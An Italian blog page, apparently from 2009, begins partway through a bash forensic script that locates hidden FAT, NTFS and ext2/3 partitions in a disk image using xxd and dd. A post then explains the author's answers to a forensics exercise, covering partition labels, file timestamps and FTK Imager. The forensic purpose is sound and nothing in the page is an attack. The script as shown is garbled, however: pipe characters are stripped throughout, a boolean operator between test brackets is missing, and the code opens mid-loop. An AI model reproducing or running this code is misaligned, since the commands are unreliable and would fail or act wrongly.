xxd -s $start_bs -l 2 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=1 count=1 bs=1c
dd if=bs.bin of=b2 skip=0 count=1 bs=1c
cat b1 b2 > bs.dat
rm b1
rm b2
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
bs=$(echo "obase=10; ibase=16; $lenbs" bc)

# check if byte 32-35 are 0 then the fat type is fat12
start_byte_fat_len=$(echo $offset + 32 bc)
check_fat12=$(xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r)
if [ ! "$check_fat12" ]
then
echo "File System chosen: FAT12"
start_byte_fat_len=$(echo $offset + 19 bc)
# extracting bytes 19-20 from FAT
xxd -s $start_byte_fat_len -l 2 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=1 count=1 bs=1c
dd if=lung.bin of=l2 skip=0 count=1 bs=1c
cat l1 l2 > l.dat
rm l1
rm l2
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
ls -l *.dd
else
echo "File System chosen: $fs"
echo "Sector size: "$bs
start_byte_fat_len=$(echo $offset + 32 bc)
# extracting bytes 32-35 from FAT
xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=3 count=1 bs=1c
dd if=lung.bin of=l2 skip=2 count=1 bs=1c
dd if=lung.bin of=l3 skip=1 count=1 bs=1c
dd if=lung.bin of=l4 skip=0 count=1 bs=1c
cat l1 l2 l3 l4 > l.dat
rm l1
rm l2
rm l3
rm l4
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
ls -l *.dd
fi # end check FAT12
fi # end check if there is the FAT word
done
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi # end check if fs is FAT type


# NTFS CASE
if [ "$fs" = "ntfs" ]
then


# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))


# controlling the word "NTFS" inside the target partition
fat_flag=$(xxd -s $offset -l 512 $file grep -i ntfs)
if [ "$fat_flag" ]
then
# looking for the sector size
start_bs=$(echo $offset + 11 bc)
xxd -s $start_bs -l 2 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=1 count=1 bs=1c
dd if=bs.bin of=b2 skip=0 count=1 bs=1c
cat b1 b2 > bs.dat
rm b1
rm b2
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
bs=$(echo "obase=10; ibase=16; $lenbs" bc)
echo "File System chosen: $fs"
echo "Sector size: "$bs
# extracting bytes 40-47 from the NTFS boot sector
start_byte_fat_len=$(echo $offset + 40 bc)
xxd -s $start_byte_fat_len -l 8 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=7 count=1 bs=1c
dd if=lung.bin of=l2 skip=6 count=1 bs=1c
dd if=lung.bin of=l3 skip=5 count=1 bs=1c
dd if=lung.bin of=l4 skip=4 count=1 bs=1c
dd if=lung.bin of=l5 skip=3 count=1 bs=1c
dd if=lung.bin of=l6 skip=2 count=1 bs=1c
dd if=lung.bin of=l7 skip=1 count=1 bs=1c
dd if=lung.bin of=l8 skip=0 count=1 bs=1c
cat l1 l2 l3 l4 l5 l6 l7 l8> l.dat
rm l1
rm l2
rm l3
rm l4
rm l5
rm l6
rm l7
rm l8
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
fi
done
ls -l *.dd
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi


# ext2/3 case (please test it!)
if [ "$fs" = "ext2" ] [ "$fs" = "ext3" ]
then
# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))


# looking for the blocks size
start_bs=$(echo $offset + 24 bc)
xxd -s $start_bs -l 4 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=3 count=1 bs=1c
dd if=bs.bin of=b2 skip=2 count=1 bs=1c
dd if=bs.bin of=b3 skip=1 count=1 bs=1c
dd if=bs.bin of=b4 skip=0 count=1 bs=1c
cat b1 b2 b3 b4 > bs.dat
rm b1
rm b2
rm b3
rm b4
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
lenbs2=$(echo "obase=10; ibase=16; $lenbs" bc)
#Block size (saved as the number of places to shift 1,024 to the left)
# "<<" is the left shift bitwise operator
bs=$[ "1024 << $lenbs2" ]
echo "File System chosen: $fs"
echo "Sector size: "$bs
echo $start_byte_fat_len
# extracting bytes 4-7 from the EXT Superblock
start_byte_fat_len=$(echo $offset + 4 bc)
xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=3 count=1 bs=1c
dd if=lung.bin of=l2 skip=2 count=1 bs=1c
dd if=lung.bin of=l3 skip=1 count=1 bs=1c
dd if=lung.bin of=l4 skip=0 count=1 bs=1c


cat l1 l2 l3 l4 > l.dat
rm l1
rm l2
rm l3
rm l4
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
# $(($i-2)) because it starts 2 sectors before the signature
dd if=$file of=hidden$j.dd skip=$(($i-2)) count=$len2 bs=$bs
rm l.dat
rm bs.dat
done
ls -l *.dd
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi


date
exit




Click here to DOWNLOAD

domenica 4 gennaio 2009

Soluzione test di Computer Forensics

Il bravo Mario Pascucci ha pubblicato la soluzione al suo test/esercizio di computer forensics QUI :)

Il caro amico Denis Frati ha risolto meglio di tutti i partecipanti...quindi COMPLIMENTI!!!!
Ma vediamo come ho agito io, superficialmente e non dedicandomi a fondo, peccato, ma quando c'è agonismo mi faccio prendere dalla fretta : - D, un difetto che mi porto dietro da quando ero piccolo, mi sa che mi converrebbe un corso di Yoga : - D
Ok, vediamo le mie soluzioni:
Lancio FTK Imager da Windows è vedo subito che:
La partizione visibile si chiama: data-hide seriale 48FD-A890
img_0085.jpg
img_0090.jpg
img_0112.jpg
img_0133.jpg
linux_virus.pdf


Ho beccato la partizione nascosta (Volume Label: nascosto1 Seriale: 48FD-AE42) è l'ho estratta con FTK Imager e anche col  dd tagliandola dal settore 1972530 per un numero di settori pari 1976014
ricavando un'immagine di 1Gb circa (964Mb).

Con FTK Imager le JPG dei circuiti elettronici e della casa al buio si vedono subito e si salvano:
IMG_0154.jpg, 155,156,477

i file system sono entrambi:
FAT32
Della partizione data-hide ci sono 11,8 Mb occupati e 949Mb liberi
Linux_virus.pdf creato il 21/10/2008 12.10,59  modificato il 06/09/2008
23.08
IMG_0133.JPG creato il 21/10/2008 12.08 modificato il 19/08/2007 19.08
IMG_0112.JPG creato il 21/10/2008 12.08  modificato il 15/08/2007 12.08
IMG_0090.JPG creato il 21/10/2008 12.08  modificato il 12/08/2007 12.08
IMG_0085.JPG creato il 21/10/2008 12.08  modificato il 12/08/2008 12.08,

nascosto111,1 Mb spazio occupato e 951Mb libero
IMG_0477.JPG Creato:21/10/2008 12.26,57 modificato: 21/10/2008 12.26,46
IMG_0156.JPG Creato:21/10/2008 12.26,57 modificato: 21/10/2008 12.26,40
IMG_0155.JPG Creato:21/10/2008 12.26,56 modificato: 21/10/2008 12.26,38
IMG_0154.JPG Creato:21/10/2008 12.26,56 modificato: 21/10/2008 12.26,34

Chiaramente usando il carving si sarebbero beccati anche gli altri file, che mi avrebbero messo in allarme, sulla presenza di un'ulteriore partizione (la famigerata nascosto2), ma sono stato ligio alle regole e non ho usato il carving, se non dopo aver dato la soluzione iniziale.
Cosa si poteva fare?
Usare sigfind dello Sleuthkit per avere tutte le firme che individuano la partizione, ottenendo il risultato in settori, ecc. ecc. seguendo la risoluzione di Denis.... : - )Spesso la memoria e la fretta ci tradiscono, chiaramente, sono cose che "devono/possono" accadere solo nei game e non nella realtà (si spera), dove si ha più tempo e più concentrazione e confronto con gli altri.....
Anche col carving si poteva risolvere e partendo dall'offset del file e conoscendo l'inizio della partizione nascosto2 si poteva, anche col semplice fls o con ifind ed icat risolvere... : - )
Bhè ottimo esercizio didattico....di nuovo complimenti a Mario!